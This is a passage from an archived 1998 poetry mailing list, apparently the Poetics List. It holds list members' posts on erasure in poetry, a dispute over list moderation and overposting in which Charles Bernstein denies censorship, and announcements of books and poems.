not. The misuse of the words chance and randomness are unfortunate, but probably no more so than they are in complexity or chaos theory. The mathematician, G.H. Hardy, once said, "Rigor is what Littlewood [his assistant] and I call gas." The double meaning is both true of the physical nature of gasses and scatalogical in order to illustrate that too much must not be made of this nature.---Carlo Parcelli
Ramez Qureshi wrote:
>
> Another instance of this sort of thing in Cage is his _Empty Words_, in which
> he subjects a Thoreau text to random I-Ching operations.
> -RQ

--
ÐÏ à¡± á

↑ Index

302. R. Gancie/C.Parcelli
Erasing
Tue 8 Dec 1998

Rachel et al: Burt Kimmelman's suggestion is a good one; Hans Blumenberg's ideas around 'the necessity of forgetting' are interwoven with much else in his works. This from his Work on Myth which, if my memory serves me, contains Blumenberg's central idea [sorry about the 'in medias res' form of the quote]: "At the same time the art myth of the [Auf den] Marmorklippen [by Ernst Ju(umlaut)nger] shows that everything that man gained in the way of dominion over reality, through the experience of his history and finally through knowledge, could not remove the danger of sinking back--indeed, the longing to sink back--to the level of his impotence, into archaic resignation, as it were. But for this sinking back not only to become possible but to become the epitome of new desires, something had to be forgotten. This forgetting is the achievement of distance through 'work on myth' itself. It is a necessary condition of everything that became possible on this side of terror, of the absolutism of reality. At the same time it is also a necessary condition of the fact that the desire to return home to the archaic irresponsibility of simple surrender to powers that cannot be gainsaid does not need to be resisted and is able to penetrate to the surface of consciousness." Three of Blumenberg's books have been translated into English; Work on Myth, The Legitimacy of the Modern Age and, my personal favorite, The Genesis of the Copernican World. I especially draw from the chapters that focus on the Nolan, Bruno, but any and all are well worth your time.---Carlo Parcelli

↑ Index

303. William Slaughter
ANNOUNCEMENT
Tue 8 Dec 1998

ANNOUNCEMENT

Henry Gould, late of this list,
has a new Flash Poem in MUDLARK.

You can find his chapbook,
Island Road, & his broadside,
"Millennial Grain Elevator,"
"Bilbao, Drydock," & "Halloween,"
in MUDLARK too.

Rauschenberg erased de Kooning.
Henry Gould erased Henry Gould.

His voiceprints are everywhere
to be found in MUDLARK

William Slaughter

_____
MUDLARK
An Electronic Journal of Poetry & Poetics
Never in and never out of print...
E-mail: [redacted]
URL: http://www.unf.edu/mudlark

↑ Index

304. Charles Bernstein
Impeach or Censure (Was: Concerns)
Tue 8 Dec 1998

“The unhappy have fewer rights but bigger ones.” Bruce Andrews at KGB Bar reading last night.

*
[Quoting Kent Johnson's post earlier today"]:
>I wrote in a post yesterday (the one with the barely believable title
>"My one post for December"), that the real issue in this whole
>affair has nothing to do with numbers as the consensus has painted
>it. Or how could it really have to do with numbers if, as I
>pointed out, Henry-- poster numero uno-- averaged only a fraction
>more than one post per day for the whole month of November.

This is untrue.

The situation here is based on a correspondence on this matter with the subscriber going back *many months*. We have written to this subscriber numerous times in the past. For example, near the end of March of this year, the subscriber was informed that while the two other most frequent posters had 27 messages, or an average of one per day, his were already at twice that number (total for that month alone: 61). I could go on detailing this correspondence but I haven't because I considered it private. At a certain point, you realize that polite requests for cooperation are not working. I think those who want to turn this matter into something ideological are doing a great disservice to all the people involved here.

The choice we made was the best option we had if we were indeed serious about keeping limits on postings. Going back to Kent Johnson’s accusation, one might wonder how even such a formidable crew as those of at Poetics List Central could have known, before the end of November, what the total posts would

be for this month. We are not clairvoyant. Kent Johnson chose not to consider the more obvious conclusion that the total posts for November might have been different if we had not ever so politely asked a couple of our beloved frequent posters to observe an often repeated list ground rule about overposting to the list. As it happens, all of the amazing (I think) four people in the history of the list we have ever written to gently request that they might consider consolidating their posts have been written to because -- I realize it defies belief -- they were -- stop for a second to take this in -- *posting too much*, more than anyone else. NOT THE CONTENT OF THEIR POSTS! If a subscriber to the list makes unambiguously manifest that she or he has no intention of abiding by the basic ground rules of the list, then those responsible -- not only *to* the list but *for* the list, I would add -- need to act fairly and generously but also decisively. This is no more than a cliché of List Management 101.

> *He and Gabe Gudding-- Gudding ... have*
> *been told (and I ask to be corrected if I'm wrong), that their posts*
> *are to now be reviewed and judged before they may appear.*

You are wrong. Gabriel Gudding's subscription status has never been changed and his ability to post to the list directly is the same as all 600 plus current list subscribers. In future, you might want to ask Joel or me before posting such misinformation to the list. In your Sunday post you also claimed that Henry Gould had be "86d" from the list. This is also wrong, as anyone reading my post from Friday would be aware.

*

There was no improper relation.

I did not ask anyone to lie.

The assumption that those of us who are spending considerable time and energy providing this service are somehow guilty of something -- let’s assume that and find the crime later! -- seems to me, um, er, counter-productive. (But I know: Tis far nobler to tear down those institutions we’ve established than find ways to support them.)

*

I realize I have an apology to make to the list. Many of those who were most active on this list, and most cared about it, have urged me to do something to make it readable, and make it habitable, again. They spoke of the list being dominated by a few men (yes gender is an issue) whose tone tended to be harsh or scolding and that when they did post their posts were either ignored or treated derisively. They responded to my inaction has been to leave the list or stop reading it.

Their contributions are very much missed.

But no fanfare was made about these folks, who felt very much pushed out by the volume of posting, by the often hectoring tones of many posts on this list and also what they described to me, over and again, as the squandering of the list space by posts that would have been better sent backchannel. I hesitated to act, for one thing because I was committed to having the list be as minimally moderated as possible -- and for this I probably should be held accountable, even censured. But I also knew that even the tiniest amount of editorial intervention on this list, on the most unassailable grounds, and in strict compliance with the stated policies of the list in the Welcome Message, would be subjected to a firestorm of protest.

*

The fact is -- I realize again this must be shocking to a few of you -- that *no post has ever been censored on this list* and that the only complaints we have received about censorship concern those who post more than anyone else on the list. There is an irony here if you want to find it.

*

The few men who post most frequently on this list, who dominate the discussion,
are not the ones being silenced.

*

Like several others who have recently address this issue, my concern about the list is not focused exclusively on the needs and rights of those who want to post in an unlimited way. Rather than lament that one person, who has posted more to this list, I suspect, than anyone in the history of the list, has chosen to leave the list rather than restrict the number of his posts, I lament the dozens and dozens of people who have told me they felt pushed off the list by the exactly the problems that we have been trying to address in the past few weeks, by exactly the hubris expressed in several recent posts: that to post more than anyone else, to try to dominate the tone of the list, the psychic release involved in being belligerent -- is an unimpeachable right and that anyone who tries to interfere with that right will be defamed in one way or another. People rarely make list announcements about the signing off the list of this *legion of “others”*, or publicly laments their absence, but each of these departures has been as important as the one resignation that has been focused on recently.

*

The tendency a very few list members to assume and broadcast the worst about the minimal list moderation that we do is, perhaps, expectable. However, it is not only my sense but also the strongly voiced opinion of most people I speak to that the list needs more editing not less -- *surely, some people have other ideas

about lists*, but the point is not necessarily to always follow the least line of resistance, although that would certainly make for less flak.

Indeed, as I've noted, I have been inundated with complaints by one person after another that if the editors of the list can't create a better and more readable environment, people will stop reading it. Of course, there are others ready to replace them, who don't share these concerns -- that may be the heart of the issue -- whose list is it? It seems only common sense that you won't see multiple posts from people who find it an inhospitable place to post because they are most likely to shy away from the predictable stock responses out of the macho training camp: if they can't take it let them unsub, if they can't stand the heat let them keep quiet, how dare they censure my right to speak by questioning me, etc. The real sympathy must go to those "bad boys" who show their mettle by refusing to respond to even the most reasonable requests of the list editors. I have a fairly thick skin, but not thick enough. I hope my skin never gets that thick.

* In any case, the idea that most people support the abdication of any editing or moderation of the list is exactly the opposite of what I hear -- it's that idea of what the list is that has driven away more people than I care to name. We -- and it's not just me -- are committed to making editorial and indeed aesthetic judgments as an integral part our list ownership: that is the foundation for the list. Such judgments mean making choices with which some people, even very vocal people, will disagree with. That's reasonable and understandable. *But our choices are not arbitrary or motivated by the desire to suppress any one tone or point of view, but rather to foster an environment which will enable greater participation.*

The editors of the Poetics List make very few editorial suggestions directly to subscribers: it almost never happens. In the history of the list this has occurred maybe three or four times to check extended "chat", maybe a couple of times to reconsider "tone", and the few instances of asking folks to consolidate messages, already mentioned. For myself, I have been reluctant to post critical remarks about other posts on the list because I felt, as list owner, that such remarks might take on more significance than I would intend. That is, for all these years I have avoided making any unnecessary interventions on this list *of any kind* -- front channel or back channel.

*

In my experience, the Poetics List has been among the most open poetry institutions I have encountered. In one sense, it is not as open as a newsgroup or an chat list because some constraints are put in place. Without these constraints, however, the range and depth of contributions would be, I believe, diminished; many of the people on this list would depart post haste, and without fanfare.

Nor would there be anyone now involved willing to maintain the list. The openness of the Poetics List is a product of its mission, as stated in the Welcome Message in terms both aesthetic and structural. So it is openness is framed by the terms of the specific project for which it was designed. I mistyped something in my last post, so let me rewrite it now: in the age of the Internet, I believe more editing not less is required. Those who are philosophically against moderated or edited or private lists should work to create the kinds of lists they want and show those of us who are skeptical that we are wrong. But debunking this list for its editorial commitments seems to me misguided and does not serve the cause of openness. This list cannot fulfill all the desires for all who would like to be its members. No list can. Yes, this list reflects my editorial, philosophical, ethical, and aesthetic judgments, tastes, predilections, commitments. Anyway I hope it does, as best I can make it. I have asked too many people to hang in with this list (in too many cases unsuccessfully), too many people to join the list, too many people to take the chance to post something, etc., for that not to be the case.

*

Do to my own time limitations, I cannot spend all the time some of the people on this list seem to need to respond to questions of list management. For example, I will not be able to spend much more time this week on the list and will be away from any computer access for part of the week. Changes in the list management are in process, and as soon as these can be finalized, we will get back to you. In the meantime, I hope all of you will understand that my time for this project has simply run out.

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305. Rachel Levitsky
Re: Home and Tone
Tue 8 Dec 1998

Argh. I'm trying to catch up with the List crises and there are many holes in my understanding but want to pitch in. Like the rest of you I have much to eulogize about the list. If it weren't for the list I would have remained aesthetically isolated in Boulder. I would not have made correspondence with Patrick Pritchett, Hoa Nguyen, Alan Sondheim, Renee Gladman, David Bromige and many others which has been one lynchpin of of my poetic home. And for all the other reasons mentioned, quick info, publishing, audience, obviously, this list is crucial.

I think we slam Charles Bernstein way too quickly with charges of censorship. In fact I was on an alternative, selective list for a little while and got off because I found it too internal, found the dialogue to self-reflective and self-conscious/

polite/uniform. Betsy Andrews call Poetics the "populist" list, and I agree with her. Obviously its keepers are doing something right.

But it does get bogged down with vituperative and personal rants and repartee. This stuff effects the list's ratio of usefulness/interest to time consumption demanded and narrows the scope of debate. Granted I've been in my own world for several months but there wasn't much on the list that was energetic except a sort of tit for tat.

I appreciate Juliana's suggestion that it be limited to exchange of information but we will then lose that occasional gem of a thread that grabs even the most sleuthful lurker and puts them on the screen.

I am a member of the Park Slope Food Coop here in Brooklyn. Like the list it is shopping for members only but membership is absolutely open and available to everyone. If you can't afford the $100 deposit, you can pay as little as you can and accrue the deposit over as long as it takes. There is childcare and special memberships for folks with special needs. There are over 3,000 members and so, of course working together to run the store is a challenge. The way the challenge is met is that every problem is answered by a policy, approved of by the membership. Clearly, some policies are repugnant to some people, for example, that you must show your empty bags before buying your food to prevent intentional and unintentional theft. And I have one friend who gets angry every time--but her overall feeling of gain makes her have to go along.

I've been as annoyed as anyone by both this list and the food coop but in my world, these attempts of vastly diverse people to get together and create something, that is better than malls and disney, merits sticking to it.

As an activist I've come to have a policy of always placing my appreciation of what a person is doing above my critique, if possible. I've also stated on this list that I've been in a position to censure someone in the effort to maintain a tone that allows for diverse community. A generous assessment of Charles Bernstien's motives for trying to manage some particularly present voices, is that he is trying to maintain a balance.

Proposal: Can a letter, approved of my this list, be sent each month to the five big posters automatically--not to judge the content of their post, just to let them know they've been particularly visible that month and they may want to give five others a chance to be particularly visible the next month? With this letter of reminder, perhaps loud mouths (I am one, no?) could regulate themselves?

Again, I want to urge us to save this list. There is no good reason as far as I can tell, to self-destruct.

yours truly,
Rachel Democracy Levitsky

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306. R. Gancie/C.Parcelli
forked tongue?
Tue 8 Dec 1998

"[T]he only significant alternative to the neutral-toned plain style of most philosophical writing of the present time is the weightier tone of judiciousness; BUT RARELY WHIMISCAL TONES OR ANGRY, OR BEFUDDLED OR LETHARGIC OR IRONIC, AS IF THESE TONES WERE MOODS THAT HAVE BEEN BANISHED, REALMS OF HUMAN EXPERIENCE THUS SYSTEMATICALLY UNTOUCHABLE. NOT ONLY IS THE QUESTION OF METHOD SUPPRESSED, BUT EVEN THE POSSIBILITIES OF TONE WITHIN THE STYLE ARE REDUCED![!]"---

---Carlo Parcelli

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307. E.M. Garrison
(no subject)
Tue 8 Dec 1998

Simon DeDeo wrote:

> *I'm sorry to hear the Henry Gould has left the list; I've had my fair share of conflicts with him, and, even when I'd been lurking and disengaged from most of the debates on the list, I still welcomed his voice.*
>
> *Have been reading Lyn Hejinian's _The Cold of Poetry_, which is my first real forary into the L=A=N=G=U=A=G=E poets. I'm working on a feature for the arts magazine here on "metaphysical" poets (beginning with Eliot's notion in his lectures), and the piece has been widening its scope step by step until I decided that one useful thing I might do is try to bring a writer (Lyn) into the discussions that happen around the campus, which usually center around a resolute conservative position. The basic idea -- that much of what is considered poetry today is a simple concatenation of aphorisms about suburban life, sometimes widened into a "multicultural" domain.*
>
> *I began considering the piece when I realized the strange dead feeling that came over me when I read so much of the "approved" poetry of recent years; once upon a time, reading opened avenues into new experience. Now, so much of what is written seems to be a series of anguished reworkings of what is always around. Reading the _Cold of Poetry_, I realized how much I had been missing simply because I had "gotten too good" at reading, say, the Confessionals -- which is partly my fault, but partly, I think,*

> *theirs.*
>
> *In other news: I'm beginning the ground work for a paper on notions of beauty in an urban context (it's actually for Elaine Scarry's class that came up for discussion here a few days ago). Is there anybody on the list that can point to some interesting works on urban space? There is, unfortunately, so much bad work out there in this field that I feel I need a Virgil to guide me to useful starting points.*
>
> *-- Simon*
>
> [redacted]
> *http://www.fas.harvard.edu/~sdedeo/localpapers.html*

Simon, When I think of the concept of beauty of in urban places, I think of graffiti. Now, Im not going to bother to defend this view to those that would say that graffiti is an act of destruction with my view that acts of destruction have with in them the seeds of creation, except to say that these works have a definite voice, and it should be considered.

beth

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308. **E.M. Garrison**
Re: call me morbid call me pale
Tue 8 Dec 1998

To whomever decides to reply...Please do it in public...Im always hungry to Know....

beth

Poetry Project wrote:

> *I was wondering if anyone could, in public or in private, explain to me what exactly the "Abstract French Lyric" or the "French Abstract Lyric" is? I hear rumors of its existence, but no one has ever grabbed me by the waist & pointed one out.*
>
> *Anselm Berrigan*

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309. **Judy Roitman**
Re: erased
Tue 8 Dec 1998

Thanks to Joel K. for his pushing on this.

I was also interested in Blau duPlessis' description of her memory as porous and what this says about a notion of self as it plays out in the work; erasing not as willed but inescapable. (Which describes me fairly well.)

Both also raised the huge issue of language/world vis-a-vis ethics, and perhaps the lack of response is because this subject is so enormous and humbling. I would like to encourage short, tentative posts on this --- no need to attempt completeness.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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310. Mark Prejsnar

Re: erased

Tue 8 Dec 1998

Errr, Joel, one of the problems is that posts are not getting thru; one lengthy post of mine was sent yesterday and resent a couple of hours ago and it has not been posted on the List...

Now while it was before Rachel's post and therefore doesn't respond to her, it's a very substantive post on the erasure thread...Hasn't anything to do with freeing Henry or the List thread. Why has it not appeared? you can hardly snipe at list members for not posting, when we are posting and the posts aren't getting thru!

(if my post appeared to others, i apologize for this querulous plaint! But it hasn't appeared here, and i am set to receive my own posts to this list, and always in the past have...)

mark p.

On Tue, 8 Dec 1998, J Kuszai wrote:

> *i find it a sad commentary on the state of this list that we get Rachel Blau DuPlessis out of her erasing-frenzy to respond to a thread with some serious potential, and yet, not one post in reply. Perhaps we should have another round of "Free Henry"-- as that seems to be what keeps people going around here. I would like to cite a passage from Rachel's post and throw it back into the mix, as I think it warrants*

> *further attention:*
>
> *"... The trauma of amnesia and the trauma of remembering, witnessing are intertwined for me. My interest did not begin "textually" (that is solely as a question of rhetoric, representation, or formal interests) tho it takes shape textually. There is (for me) no sense of textuality as a value in a vacuum; making texts, and alluding to textual stuff (like black pages, or glosses) is absolutely linked to depths of ethical and social and poetic feeling."*
>
> *it would be good to hear further elaboration as to what is meant by this statement. Obviously we don't live in isolation, nor in a vacuum. I would be curious to hear of instances of poetic value which assert themselves as such-- i.e. as without regard to externalia in this day and age; and perhaps more importantly, how do the various poets and/or critics on this list see/ or solve the issues raised by questions of erasure. I am thinking, initially, of Susan Howe's *Eikon Basilike* and the resolution of such by "making the dead walk again" ... more from Rachel, whose work on Susan and others has been at the fore, would be much appreciated...*

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311. **Carl Wilson**
Re: erased
Tue 8 Dec 1998

> *i find it a sad commentary on the state of this list that we get Rachel Blau DuPlessis out of her erasing-frenzy to respond to a thread with some serious potential, and yet, not one post in reply.*

i agree completely; the same theme broke my own busy-deleting-finger habit - but i *did* post in reply and after two attempts it strangely hasn't come through. i'll make a final effort and, again, apologies to anyone who receives this twice.

* * *

Erasure as both a poetic and a personal concern: There was a time in my writing when i wanted to pare down to the single luminous statement, to let the writing serve as much as a mark for what wasn't said or understood as for what was. I was influenced in this i think both by a sort of mystical catholic heritage, in which writing felt like a gestural ritual to evoke grace, pain, mystery, (but also a sort of domination and control), and by my thin adolescent knowledge of eastern writing, which seemed to me then to deal much with evanescence, the sparsity and insufficiency (and wonder) of our perceptions and of the thingness of things.

Later i began to feel that it was more true to my own hyperactive, compulsively descriptive and analytical personality (a product of the culture i really grew in) to be more expansive, to catalogue and imagine via language how much muchness seemed to be, that the sparseness i was fascinated by was interior, more a product of how little i knew - being a writer seemed to imply facing some overwhelmingly indefinite variability.

Today, it doesn't seem to me to be a choice between, as Pierre put it, fullness/unfolding and erasure/minimalism. It's the interplay of the two - which i think Rachel's work in the Drafts displays quite powerfully. Erasure as the outside (and other) to the folding and unfolding. Because erasure - loss - forgetting - elimination - is both dangerous and necessary.

Erasure is awareness of the looming absences events such as Holocaust create. Erasure is also a hazard to be faced - denial, forgetting, loss of history. But it is also true to the process of letting go of, for instance, prejudice or other sick habits of thought, confining codes, errors, the crippling power of trauma. Reinventing the self (and the social, and their respective languages), so necessary to continuance, involves selective forgetting.

Much of what we do in poetry now, i think, is to represent such processes of transformation, loss and gain, but always in flux. Modernism's forward-thrust (make-it-new revolution, extincting the old) has given way to a spiral. (Not that this is unprecedented - Stevens' poem as act of the mind, ye olde stream-of-consciousness etc.) Many of us work on non-linear models to call up the ways that thought, perspective, representation, articulation double back on themselves, forget some things, repeat and recall others, bog down, calm down, agitate again, bifurcate, split, mark, break, erase, write. Little of interest is happening in still-lifes, static judgments.

Yet we are haunted by those erasures, their smudges and tears. If it's all transformation, how do we judge our responsibilities (and ethical choices). Where does the forgotten go? How much of the etymology and how many past uses of a word lurk under its apparent surface and sound? The unspeakability of that haunting interrupts our accounts of interruption, pins them to their tracks, demands its own recognition.

The mention of Retallack's ai/d/sappearance - alphabetic subtraction - also reminds of the Oulipo lipograms, esp. Perec's La disparition or (in English) A Void, in which the erased letter (E) from the vocabulary of the book also becomes the central point of the plot - everyone is looking for the thing that has been erased. While Perec is comic about it, mostly, the seriousness of the theme for Perec in postwar France is fairly evident.

These seem inescapable writing issues, but Rachel's quite right I think to note this as a particularly end-of-this-century urgency. I'm curious how this approach to erasure, at least in tone, might change in 10 or 20 years.

carl patrick wilson

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312. **Judy Roitman**

Re: under and over erasure

Tue 8 Dec 1998

Mark P. said:

> *But there's another source for erasing, which is a philosophical concern with the reality of things, of activities, of poetry, of ideas. This was part of Antin's motivation, i would say. I think that poets who have been influenced to some degree by Buddhistic and similar traditions, would be among those interested in erasure: like the disappearing of the mind when it realizes its own nonreality, in Buddhism, Taoism, etc. ...the achievement of nonself.*
>
> *Unfortunately, i don't recall offhand a use of erasing modalities (of either type) in the poets i know and like best, who were influenced by these traditions: Mac Low, Cage.*

That's because "the disappearing of the mind when it realizes its own nonreality, in Buddhism, Taoism, etc. ...the achievement of nonself" is perhaps not the best way to put it. The notion of emptiness --- each thing is inherently empty of its own thingness --- is not about erasure. The mind realizing its own nonreality, so to speak, is then free to become full of everything --- that's why the mirror analogy is used so often ("red comes, red; white comes, white"). Traditional East Asian poetics influenced by Buddhism and Taoism tends to focus very much on particular things (I'm not talking about the philosophical stuff like, say, the Hsin Hsin Ming or the Tao Te Ching) --- in haiku this is raised almost to a fetish.

(Although I'm not a specialist in East Asian poetics, and perhaps there is a tradition there of the sort Mark P. posits that isn't well known in the U.S.)

(And thanks for telling us all about John Lowther's work.)

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----

http://www.math.ukans.edu/~roitman/

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313. **Emily Lloyd**
Re: The Cold of Poetry &, eventually, "girls"
Tue 8 Dec 1998

Dear Simon, etc.,

For what it's worth, it's pretty fascinating to read _The Cell_ after reading TCOP's "The Composition of The Cell." I have no idea which came first--a lot of the material in each is the same (or a resemblance: a draft? a backdraft?); *logically*, I suppose "The Composition" would come first, as it seems more like notes for things that eventually ended up in the book-length sequence _The Cell_. And *logically*, I suppose _The Cell_ would come first, for one could only speak of its composition after the fact--or (it might break one's back) simultaneously. Then there's the joke that "The Composition of The Cell" doesn't necessarily refer to the composition of _The Cell_.

Which brings me to the fact that no one, at least publicly, replied to Maria Damon's query about the composition process of LH's _My Life_. While a whole slew of people replied (and some, excuse this, incorrectly) to MD's question about Stein's rose. I'd be interested in hearing the "answer" to the "composition of _ML_" query frontchannel, for one. Perhaps this could kick off the discussion/s Joel K. suggested not too long ago--on female "experimental" poets that are going to be either present or discussed, I unfortunately forget which (both?), at an upcoming conference (name of which I don't remember either)...

Also, Simon, do, if possible time-wise, read LH's _My Life_ (and all the rest, but there's a point here). Read it because you've been reading "confessional" poetry. Strangely, maybe (and I'm afraid perhaps <?> offensively to the poet, yet with the utmost admiration), I often find Hejinian to have rescued/challenged/subverted and continued to work with "confession" or "confessional poetry." I also often think of Stein as a confessional poet, without all the freight of the Confessional Poetry lowelly "movement" entering into my thinking the words "confessional poet." I guess what I mean is that I find it interesting that, when reading the poems of Confessional Poets, I feel like I'm coming up against a wall--not hearing anything "confessional" or intimate, but something quite to the contrary. Whereas I find much of Hejinian's & Stein's work what I'm ashamed to call, but must for lack of better words-'n-smarts, unbelievably intimate, beyond "confessional" & "personal"...I suppose because it's beyond "speech"--doesn't attempt to pass for something whispered or wailed, as does

Confessional Poetry. At any rate, I couldn't comfortably call either one of them L=A=N=G poets...

On the "girls v. boys" issue, gotta post an (old, old) poem here quickly:

Strap-On Canon

His feet are too clean
for my hair.

Just throw
the ball of wool, I'll clap

my knees, admit
I hated to be

an apprentice...

Whenas, whenas--knowhutImean?
I left

the tip on her throat.
Two francs. I bet

she walks crooked
all the way home

from Cho-Fu-Sa!

----------em, who mostly identifies w/those whose gender is unguessable--now.

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314. louis stroffolino

Re: a modest proposal

Tue 8 Dec 1998

Hey, re Chris McCreary's point (and Juliana's?)
that we should restrict the list to ANNOUNCEMENTS,
I say "bland, bland, bland!"
I much rather agree with Joel Kuzsai of taking things
such as the poem RBDP posted and addressing things it raises...
That takes more time, which I will have when
I'm unemployed in 10 days and counting....
(assuming they don't take my account away),
but just to say.....
chris

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315. Mairead Byrne
Re: The Martyrology of St. Henry
Tue 8 Dec 1998

As I courageously emerged from the closet and blandished my own "advisory notice" to the list, and solicited replies to 5 questions relating to censorship / moderation (which everyone has ignored: is it that delete button?), I am anxious to be elevated to some type of sainthood too. Furthermore, as the FIRST to bring this censorship issue to your screens on this List, folks, I do want to claim my ignoble laurels. Henry, Gabe, Kent, let me join in your shame or do you feel compelled to hog it all, you dogs. Mairead

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316. J Kuszai
2 of per diem
Tue 8 Dec 1998

---

in case it werent mentioned, everyone was silenced for nearly 20 hours or so as the listserv was down

sorry for my hasty notice for non response re: erasure & Rachel
this morning
--tired from grading papers
(I used to stay up all night writing papers
now I stay up grading them)

but I think non-response is silence is erasure is pavement
or hoffa in new jersey
time to circle the mob (paranoiacs: read conspiracy)
a suggestion: don't take the bait
ignore threads that don't interest you
and eventually the bickering banter will die away

on another BOOKSALES oriented front,
did anyone else hear the news that BARNES & NOBLE has purchased
INGRAM DISTRIBUTION?

I thought Ingram was long gone already....any info here would be greatly appreciated.

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317. Simon DeDeo

Re: The Cold of Poetry &, eventually, "girls"

Tue 8 Dec 1998

Emily, and, of course, all --

The notion of Lyn Hejinian being somehow "more" than confessional is interesting. The notion of hitting a wall in reading the trad. confessionals is interesting: for me, there is an "aesthetic experience" (i.e., I do think it's somehow poetic, and not simply a hashing out in verse.) I understand your saying "I hit a wall", then, as the aesthticization of hitting a wall. My problem with someone like, say, Lowell, is not that I think his work is bad, but rather that I don't have a taste for it in the end. I just don't really want to spend time in such a resolutely "bipolar" language world, by which I don't intend to say that someone who is psychophysiologically bipolar can only write in bipolar language. I prefer the more polyvalent aspects of someone like Hejinian. Someone like Plath, I think, belongs in a different category from the main Lowell thread; her poetry is, to much, closer to Heijinan in the way it has multiple nodes, multiple resting points. Plath is neither a whisperer or a wailer in the way that Lowell is (or, more obviously, I think, Berryman, who focuses his dream songs around that.)

If it makes sense to talk "about" poetry at all, I guess. You're right, of course, that I need to read more of Hejinian's work.

I'm also interested in your statement that you couldn't comfortably call either Stein or Hejinian a L=A=N=G. poet. What does it mean, for you, for someone to be a L-poet? I approached Hejinian thinking, OK, here's someone who is "in" this scheme, and a way for me to come to know what the movement itself means. Is L-poetry constructed before the poetry within it? Or is it just that someone else is more 'authetically' a L-poet than H? I don't mean to raise the usual aporias about "well, these are just terms, they mean what you want". How do you perceive H in relation to more "normative" L-poets, and who might those be?

-- Simon

[redacted]
[redacted]
http://www.fas.harvard.edu/~sdedeo/localpapers.html

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318. A. Jenn Sondheim
Re: Home and Tone
Tue 8 Dec 1998

I want to second Rachel here. For me, the discussion is wonderful; a lot of us are not part of any poetry community, and the chance to participate here is vitally important. I value the announcements, but I also value the talk.

It's remarkable that it has run so long without these problems.

I wish Henry would come back. I wish people would post a bit less. I don't think there's a need for reminders to be sent to the top posters, but only for everyone to be aware that it's a public list, much larger than the number of posters would indicate.

Perhaps someone could write Henry. Perhaps we could all be grateful for this space a bit.

Alan

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319. Charles Alexander
new book announcement
Tue 8 Dec 1998

New from Chax Press

SPEECH ACTS
by Eli Goldblatt
$10
ISBN 0-925904-24-4

Poetics list members pay no shipping/handling charges if they declare themselves as poetics list members, and if they live in the USA. Foreign orders will be billed appropriate shipping charges.

Please send all email orders directly to Chax Press at
[redacted]
Or send check with order to
Chax Press
101 W. Sixth St., no. 6
Tucson, AZ 85701-1000

"Energetic and engaging work, ranging over *ache*
and *embrace,* reality and dream in a rich, quicksilver
language. Goldblatt's *Speech Acts* puts 'Everything
on my radio.'"

--Rachel Blau DuPlessis,
author of *Drafts* and of *The Pink
Guitar: Writing as Feminist Practice*

"In *Speech Acts,* Eli Goldblatt writes realist lyrics; this is not a world that is "utterly changed," it's more the place where the question,'What language does the poet speak?' is beginning and goal of writing. These poems speak our languages, with care and passion."
--Bob Perelman, author of *Virtual Reality*
and of *The Marginalization of
Poetry: Language Writing and
Literary History*

"THREE POEMS" in *Speech Acts*

HISTORY

having planted corn, you wait
for corn to grow. The enemy is
the penchant to believe you know.

Wheat in bread is bleached to sell.
Roads ripple in heat, split in cold.
Light bends out of courtesy to mass,
a social arrangement between peers.

No schoolman can tell a sentence
how to mean. Like border guards,
children learn their craft by losing
the nationality they're paid to defend.

Metaphors rise against their masters.
No player's marginal in plague &
Time runs counter to its crop.

MUSIC OF THE SPHERES

Our ghost story you could learn to croon
unhurried into microphones. Ears ready
for the kill, listeners expect each moment
a crash as you steer the story past Crab
& Dragon & on to dusk. After the plot

runs out, mechanisms still roll--sets shift,
props drift down river toward an uneasy sea.
Spectators murmur in their crape. Cattle

standing all day sleep standing & old
hotels maintain their facades; an owner
must care for his property. No motion

among stars is harmonious. Ghouls & caped
heroes play their part under weather that
is neither fair nor just. Squeal, flex,
erupt: among humans earthworks catch on fire.
I have always felt like a native of this planet

but a stand-in for my ghost.

WHOLESALE SURRENDER

A backdoor melody spieling of spring
wins nothing, pulls ahead of the
pack on the road to release.

A creased pant leg can mean the difference
between promotion & serial obsession,
one silk-screened beside the other
in infinite regression.

A rime honeys tea or, given the proper
economics, signals a secret crop
among the tenants.

Televised, repeated blows to the head & gut
don’t raise questions for the fan at home.
Even a quark shares space--o unholy
alliance--with that fool, History.

ELI GOLDBLATT is currently the University Writing Director and an associate professor of English at Temple University. His other books include Sessions 1-62, Journeyman’s Song, Herakles, ‘Round My Way, and, for children, Leo Loves Round and Lissa and the Moon’s Sheep. charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

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320. **Ruth Danon**

Re: Erasing

Tue 8 Dec 1998

I'm jumping in on this one, lurker that I've been. Some time ago I found myself writing poems in which concrete nouns simply disappeared. Gone. Couldn't

conjure one up to save the day. I read Kristeva's Black Sun and began to understand why. The strategy of Perec's book has a similar source in the incapacity to grieve or to find adequate expression for loss.

There are cultural and poltiical equivalents. Cliches that separate modernists from post modernists say that pomos "embrace apoacalypse." Bah humbug. Who isn't scared of the dark? As the chunks of ice fall away from the arctic ice shelf who doesn't shudder in their quiet little bones?

> From: Carl Wilson <[redacted]>
> To: [redacted]
> Subject: Re: Erasing
> Date: Monday, December 07, 1998 8:05 PM
>
> Erasure as both a poetic and a personal concern: There was a time in
> my writing when i wanted to pare down to the single luminous
> statement, to let the writing serve as much as a mark for what wasn't
> said or understood as for what was. I was influenced in this i think
> both by a sort of mystical catholic heritage, in which writing felt
> like a gestural ritual to evoke grace, pain, mystery, (but also a sort
> of domination and control), and by my thin adolescent knowledge of
> eastern writing, which seemed to me then to deal much with
> evanescence, the sparsity and insufficiency (and wonder) of our
> perceptions and of the thingness of things.
>
> Later i began to feel that it was more true to my own hyperactive,
> compulsively descriptive and analytical personality (a product of the
> culture i really grew in) to be more expansive, to catalogue and
> imagine via language how much muchness seemed to be, that the
> sparseness i was fascinated by was interior, more a product of how
> little i knew - being a writer seemed to imply facing some
> overwhelmingly indefinite variability.
>
> Today, it doesn't seem to me to be a choice between, as Pierre put it,
> fullness/unfolding and erasure/minimalism. It's the interplay of the
> two - which i think Rachel's work in the Drafts displays quite
> powerfully. Erasure as the outside (and other) to the folding and
